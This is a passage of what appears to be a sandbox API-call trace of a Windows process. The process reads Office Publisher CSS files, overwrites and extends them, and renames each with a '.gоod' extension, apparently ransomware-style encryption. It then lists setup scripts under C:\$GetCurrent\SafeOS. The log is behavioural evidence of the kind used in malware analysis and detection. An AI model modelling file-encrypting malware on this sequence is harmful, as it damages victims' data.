[0267.729] WriteFile (in: hFile=0x864, lpBuffer=0x3ba1cb8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59d2c8, lpOverlapped=0x0 | out: lpBuffer=0x3ba1cb8*, lpNumberOfBytesWritten=0x1f59d2c8*=0x10, lpOverlapped=0x0) returned 1 [0267.729] CloseHandle (hObject=0x864) returned 1 [0267.729] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME14.CSS", nBufferLength=0x105, lpBuffer=0x1f59cd60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME14.CSS", lpFilePart=0x0) returned 0x4a [0267.729] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d280) returned 1 [0267.729] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME14.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme14.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0267.730] GetFileType (hFile=0x864) returned 0x1 [0267.730] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d1f0) returned 1 [0267.730] GetFileType (hFile=0x864) returned 0x1 [0267.730] ReadFile (in: hFile=0x864, lpBuffer=0x3ba3f80, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59d358, lpOverlapped=0x0 | out: lpBuffer=0x3ba3f80*, lpNumberOfBytesRead=0x1f59d358*=0x1000, lpOverlapped=0x0) returned 1 [0267.757] CloseHandle (hObject=0x864) returned 1 [0267.757] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME14.CSS", nBufferLength=0x105, lpBuffer=0x1f59cd60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME14.CSS", lpFilePart=0x0) returned 0x4a [0267.757] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d280) returned 1 [0267.758] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME14.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme14.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0267.758] GetFileType (hFile=0x864) returned 0x1 [0267.758] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d1f0) returned 1 [0267.758] GetFileType (hFile=0x864) returned 0x1 [0267.758] WriteFile (in: hFile=0x864, lpBuffer=0x3ba2cd0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59d408, lpOverlapped=0x0 | out: lpBuffer=0x3ba2cd0*, lpNumberOfBytesWritten=0x1f59d408*=0x1010, lpOverlapped=0x0) returned 1 [0267.758] CloseHandle (hObject=0x864) returned 1 [0267.758] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME14.CSS", nBufferLength=0x105, lpBuffer=0x1f59ceb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME14.CSS", lpFilePart=0x0) returned 0x4a [0267.758] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME14.CSS.gоod", nBufferLength=0x105, lpBuffer=0x1f59ceb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME14.CSS.gоod", lpFilePart=0x0) returned 0x4f [0267.758] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d340) returned 1 [0267.758] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME14.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme14.css"), fInfoLevelId=0x0, lpFileInformation=0x1f59d420 | out: lpFileInformation=0x1f59d420*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa50cd6f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa50cd6f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9bce3ad1, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1f5dc)) returned 1 [0267.758] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d300) returned 1 [0267.758] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME14.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme14.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME14.CSS.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme14.css.gоod")) returned 1 [0267.760] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME15.CSS", nBufferLength=0x105, lpBuffer=0x1f59ceb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME15.CSS", lpFilePart=0x0) returned 0x4a [0267.760] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d380) returned 1 [0267.760] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME15.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme15.css"), fInfoLevelId=0x0, lpFileInformation=0x3c20508 | out: lpFileInformation=0x3c20508*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xacf29e7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xacf29e7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xacf29e7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1e094)) returned 1 [0267.761] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d340) returned 1 [0267.761] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME15.CSS", nBufferLength=0x105, lpBuffer=0x1f59cd60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME15.CSS", lpFilePart=0x0) returned 0x4a [0267.761] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d280) returned 1 [0267.761] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME15.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme15.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0267.762] GetFileType (hFile=0x864) returned 0x1 [0267.762] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d1f0) returned 1 [0267.762] GetFileType (hFile=0x864) returned 0x1 [0267.762] SetFilePointer (in: hFile=0x864, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59d3d8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59d3d8*=0) returned 0x1000 [0267.762] ReadFile (in: hFile=0x864, lpBuffer=0x3c20930, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59d3a8, lpOverlapped=0x0 | out: lpBuffer=0x3c20930*, lpNumberOfBytesRead=0x1f59d3a8*=0x1000, lpOverlapped=0x0) returned 1 [0268.570] CloseHandle (hObject=0x864) returned 1 [0268.570] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME15.CSS", nBufferLength=0x105, lpBuffer=0x1f59cd60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME15.CSS", lpFilePart=0x0) returned 0x4a [0268.572] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d280) returned 1 [0268.572] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME15.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme15.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0268.573] GetFileType (hFile=0x864) returned 0x1 [0268.574] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d1f0) returned 1 [0268.574] GetFileType (hFile=0x864) returned 0x1 [0268.588] SetFilePointer (in: hFile=0x864, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59d3d8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59d3d8*=0) returned 0x1e094 [0268.588] WriteFile (in: hFile=0x864, lpBuffer=0x3b55028*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59d2c8, lpOverlapped=0x0 | out: lpBuffer=0x3b55028*, lpNumberOfBytesWritten=0x1f59d2c8*=0x10, lpOverlapped=0x0) returned 1 [0268.589] CloseHandle (hObject=0x864) returned 1 [0268.598] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME15.CSS", nBufferLength=0x105, lpBuffer=0x1f59cd60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME15.CSS", lpFilePart=0x0) returned 0x4a [0268.598] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d280) returned 1 [0268.598] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME15.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme15.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0268.598] GetFileType (hFile=0x864) returned 0x1 [0268.598] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d1f0) returned 1 [0268.598] GetFileType (hFile=0x864) returned 0x1 [0268.598] ReadFile (in: hFile=0x864, lpBuffer=0x39724c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59d358, lpOverlapped=0x0 | out: lpBuffer=0x39724c0*, lpNumberOfBytesRead=0x1f59d358*=0x1000, lpOverlapped=0x0) returned 1 [0268.626] CloseHandle (hObject=0x864) returned 1 [0268.626] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME15.CSS", nBufferLength=0x105, lpBuffer=0x1f59cd60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME15.CSS", lpFilePart=0x0) returned 0x4a [0268.627] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d280) returned 1 [0268.627] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME15.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme15.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0268.627] GetFileType (hFile=0x864) returned 0x1 [0268.627] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d1f0) returned 1 [0268.627] GetFileType (hFile=0x864) returned 0x1 [0268.627] WriteFile (in: hFile=0x864, lpBuffer=0x3971210*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59d408, lpOverlapped=0x0 | out: lpBuffer=0x3971210*, lpNumberOfBytesWritten=0x1f59d408*=0x1010, lpOverlapped=0x0) returned 1 [0268.627] CloseHandle (hObject=0x864) returned 1 [0268.627] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME15.CSS", nBufferLength=0x105, lpBuffer=0x1f59ceb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME15.CSS", lpFilePart=0x0) returned 0x4a [0268.627] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME15.CSS.gоod", nBufferLength=0x105, lpBuffer=0x1f59ceb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME15.CSS.gоod", lpFilePart=0x0) returned 0x4f [0268.627] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d340) returned 1 [0268.627] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME15.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme15.css"), fInfoLevelId=0x0, lpFileInformation=0x1f59d420 | out: lpFileInformation=0x1f59d420*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xacf29e7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xacf29e7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9c53bc4a, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1e0a4)) returned 1 [0268.627] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d300) returned 1 [0268.627] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME15.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme15.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME15.CSS.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme15.css.gоod")) returned 1 [0268.628] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME16.CSS", nBufferLength=0x105, lpBuffer=0x1f59ceb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME16.CSS", lpFilePart=0x0) returned 0x4a [0268.628] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d380) returned 1 [0268.629] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME16.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme16.css"), fInfoLevelId=0x0, lpFileInformation=0x39f09e0 | out: lpFileInformation=0x39f09e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xab7525c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xab7525c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xab7525c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1f822)) returned 1 [0269.010] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d340) returned 1 [0269.867] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME16.CSS", nBufferLength=0x105, lpBuffer=0x1f59cd60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME16.CSS", lpFilePart=0x0) returned 0x4a [0269.899] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d280) returned 1 [0269.899] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME16.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme16.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x89c [0269.900] GetFileType (hFile=0x89c) returned 0x1 [0269.900] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d1f0) returned 1 [0269.900] GetFileType (hFile=0x89c) returned 0x1 [0269.900] SetFilePointer (in: hFile=0x89c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59d3d8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59d3d8*=0) returned 0x1000 [0269.900] ReadFile (in: hFile=0x89c, lpBuffer=0x3957f30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59d3a8, lpOverlapped=0x0 | out: lpBuffer=0x3957f30*, lpNumberOfBytesRead=0x1f59d3a8*=0x1000, lpOverlapped=0x0) returned 1 [0269.901] CloseHandle (hObject=0x89c) returned 1 [0269.901] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME16.CSS", nBufferLength=0x105, lpBuffer=0x1f59cd60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME16.CSS", lpFilePart=0x0) returned 0x4a [0269.901] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d280) returned 1 [0269.901] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME16.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme16.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x89c [0269.901] GetFileType (hFile=0x89c) returned 0x1 [0269.901] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d1f0) returned 1 [0269.901] GetFileType (hFile=0x89c) returned 0x1 [0269.901] SetFilePointer (in: hFile=0x89c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59d3d8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59d3d8*=0) returned 0x1f822 [0269.901] WriteFile (in: hFile=0x89c, lpBuffer=0x395aad0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59d2c8, lpOverlapped=0x0 | out: lpBuffer=0x395aad0*, lpNumberOfBytesWritten=0x1f59d2c8*=0x10, lpOverlapped=0x0) returned 1 [0269.902] CloseHandle (hObject=0x89c) returned 1 [0269.902] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME16.CSS", nBufferLength=0x105, lpBuffer=0x1f59cd60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME16.CSS", lpFilePart=0x0) returned 0x4a [0269.902] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d280) returned 1 [0269.903] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME16.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme16.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x89c [0269.903] GetFileType (hFile=0x89c) returned 0x1 [0269.903] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d1f0) returned 1 [0269.903] GetFileType (hFile=0x89c) returned 0x1 [0269.903] ReadFile (in: hFile=0x89c, lpBuffer=0x395f0e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59d358, lpOverlapped=0x0 | out: lpBuffer=0x395f0e8*, lpNumberOfBytesRead=0x1f59d358*=0x1000, lpOverlapped=0x0) returned 1 [0274.221] CloseHandle (hObject=0x89c) returned 1 [0274.221] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME16.CSS", nBufferLength=0x105, lpBuffer=0x1f59cd60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME16.CSS", lpFilePart=0x0) returned 0x4a [0274.221] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d280) returned 1 [0274.221] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME16.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme16.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x89c [0274.221] GetFileType (hFile=0x89c) returned 0x1 [0274.221] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d1f0) returned 1 [0274.221] GetFileType (hFile=0x89c) Thread: id = 146 os_tid = 0x6d8 [0068.790] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0068.791] CoGetContextToken (in: pToken=0x1f6ef7b0 | out: pToken=0x1f6ef7b0) returned 0x0 [0068.791] IUnknown:QueryInterface (in: This=0x12e64d0, riid=0x7ff9122eadf8*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1f6ef7e8 | out: ppvObject=0x1f6ef7e8*=0x12e64e8) returned 0x0 [0068.791] IComThreadingInfo:GetCurrentThreadType (in: This=0x12e64e8, pThreadType=0x1f6ef858 | out: pThreadType=0x1f6ef858*=0) returned 0x0 [0068.791] IUnknown:Release (This=0x12e64e8) returned 0x0 [0068.791] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0068.791] CoUninitialize () [0068.791] RoInitialize () returned 0x1 [0068.791] RoUninitialize () returned 0x0 [0068.792] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ee920) returned 1 [0068.792] GetFullPathNameW (in: lpFileName="C:\\$GetCurrent\\SafeOS", nBufferLength=0x105, lpBuffer=0x1f6ee3c0, lpFilePart=0x0 | out: lpBuffer="C:\\$GetCurrent\\SafeOS", lpFilePart=0x0) returned 0x15 [0068.792] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\SafeOS\\*", lpFindFileData=0x1f6ee640 | out: lpFindFileData=0x1f6ee640*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec51de0 [0068.794] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0068.794] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9568f13f, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x9568f13f, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0xfb529700, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0x232c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="GetCurrentOOBE.dll", cAlternateFileName="GETCUR~1.DLL")) returned 1 [0068.794] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956819aa, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x956819aa, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x980eecb6, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x9c, dwReserved0=0x0, dwReserved1=0x0, cFileName="GetCurrentRollback.ini", cAlternateFileName="GETCUR~1.INI")) returned 1 [0068.794] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x54acc791, ftLastAccessTime.dwHighDateTime=0x1d3273a, ftLastWriteTime.dwLowDateTime=0x54acc791, ftLastWriteTime.dwHighDateTime=0x1d3273a, nFileSizeHigh=0x0, nFileSizeLow=0x241, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupComplete.cmd", cAlternateFileName="PARTNE~1.CMD")) returned 1 [0068.794] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9575af11, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x9577d1ec, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="preoobe.cmd", cAlternateFileName="")) returned 1 [0068.794] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x957833a7, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x957833a7, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x9578472e, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x133, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupComplete.cmd", cAlternateFileName="SETUPC~1.CMD")) returned 1 [0068.795] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0068.795] FindClose (in: hFindFile=0x1ec51de0 | out: hFindFile=0x1ec51de0) returned 1 [0068.795] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ee860) returned 1 [0068.795] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ee820) returned 1 [0068.795] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ee920) returned 1 [0068.795] GetFullPathNameW (in: lpFileName="C:\\$GetCurrent\\SafeOS", nBufferLength=0x105, lpBuffer=0x1f6ee3c0, lpFilePart=0x0 | out: 